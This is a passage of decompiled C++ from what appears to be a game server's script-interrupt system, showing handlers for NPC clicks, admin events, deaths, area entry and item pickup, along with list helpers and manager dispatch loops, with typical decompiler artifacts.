0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v9 = *(_WORD *)&arg->gap144[216]; v10 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v10, v9); ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 0; } return result; } //----- (004CA790) -------------------------------------------------------- #error "4CA790: undefined or illegal type '#325' (funcsize=133)" //----- (004CA950) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // ax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = arg->npcclick.npc; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == v3 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = v3; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); } //----- (004CA9D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { char Dest[4]; // [sp+4h] [bp-20h]@1 int v4; // [sp+8h] [bp-1Ch]@1 int v5; // [sp+Ch] [bp-18h]@1 int v6; // [sp+10h] [bp-14h]@1 int v7; // [sp+14h] [bp-10h]@1 int v8; // [sp+18h] [bp-Ch]@1 int v9; // [sp+1Ch] [bp-8h]@1 int v10; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v5 = 0; v4 = 0; *(_DWORD *)Dest = 0; strncpy(Dest, arg->npcclick.index, 0x20u); if ( *(_DWORD *)&interrupt->sib_Argument.area.areaname[0] == *(_DWORD *)Dest && *(_DWORD *)&interrupt->sib_Argument.area.areaname[4] == v4 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[8] == v5 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[12] == v6 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[16] == v7 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[20] == v8 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[24] == v9 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[28] == v10 ) { interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); } //----- (004CAAE0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); } //----- (004CAB50) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { PineScriptToken thisa; // [sp+4h] [bp-10Ch]@1 int v4; // [sp+10Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; PineScriptToken::PineScriptToken(&thisa, arg->npcclick.index); memcpy(&interrupt->sib_Argument, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); *(_WORD *)&interrupt->gap144[216] = *(_WORD *)&arg[7].npcclick.index[18]; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); } //----- (004CAC40) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); } //----- (004CACC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); } //----- (004CAD30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); } //----- (004CADA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( interrupt->sib_Argument.area.player == -1 || Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)&arg->npcclick.index[2]) ) { interrupt->sib_Argument.area.player = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); } //----- (004CAE30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg[1].npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); } //----- (004CAEA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // dx@1 __int16 hnd; // [sp+0h] [bp-18h]@1 ShineObjectHandleUnion hndunion; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v7; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; MoveManager::MoveManager((DiceTaiSai *)&hndunion); v3 = *(_WORD *)&arg->npcclick.index[0]; LOBYTE(v7) = 1; hndunion.sohu_Handle = v3; if ( ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&hnd) == 2 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } LOBYTE(v7) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); } //----- (004CAF80) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); } //----- (004CB010) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); } //----- (004CB0A0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004CB1C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { interrupt->sib_InterruptBlast = 1; *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); } //----- (004CB240) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004CB270) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004CB2A0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004CB2F0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004CB340) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #325 *center, unsigned int kq) { ScriptInterrupt::ScriptInterruptManager *v6; // esi@1 unsigned __int16 v7; // bp@1 unsigned __int16 v8; // bx@2 ListStruct *v9; // edx@3 int v10; // eax@3 unsigned __int16 v11; // di@3 bool v12; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v13; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v14; // ecx@7 int v15; // edx@8 int v16; // eax@9 int lt; // [sp+10h] [bp-18h]@3 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = v6->baseclass_0.l_Array[v6->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v8 = v6->baseclass_0.l_MaxSize; if ( v7 >= v8 ) break; v9 = v6->baseclass_0.l_Array; v10 = v7; v11 = v7; v12 = v7 < v8; v7 = v9[v7].ls_Next; LOWORD(lt) = v11; HIWORD(lt) = v7; if ( v12 && v9[v10].ls_IsActiv ) v13 = v9[v10].ls_Content; else v13 = 0; v14 = v13->sib_Instance; if ( v11 < v8 && (v15 = (int)&v9[v10], *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( (unsigned __int8)((int (__stdcall *)(int, PineScriptToken *, PineScriptToken *, Movie::TimeLimit *, ScriptInterrupt::ScriptInterruptManager *, int, #325 *))v14->vfptr->sib_BlastCheck)( v16, eventblock, argument, timelimit, v6, lt, center) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 0; } //----- (004CB4A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 unsigned __int16 v3; // di@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 int v12; // eax@5 int lt; // [sp+4h] [bp-18h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = 3 * v6, v10 = v5[v6].ls_IsActiv, v11 = (int)&v5[4 * v9 / 0xCu], v10) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( *(_DWORD *)(v12 + 268) == *(_DWORD *)&intindex->n4_name[0] && *(_DWORD *)(v12 + 272) == *(_DWORD *)&intindex->n4_name[4] && *(_DWORD *)(v12 + 276) == *(_DWORD *)&intindex->n4_name[8] ) { if ( *(_DWORD *)(v12 + 280) == *(_DWORD *)&intindex->n4_name[12] ) v2->baseclass_0.vfptr->l_Free((List *)v2, lt); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); } //----- (004CB5C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); } //----- (004CB6D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); } //----- (004CB7E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < 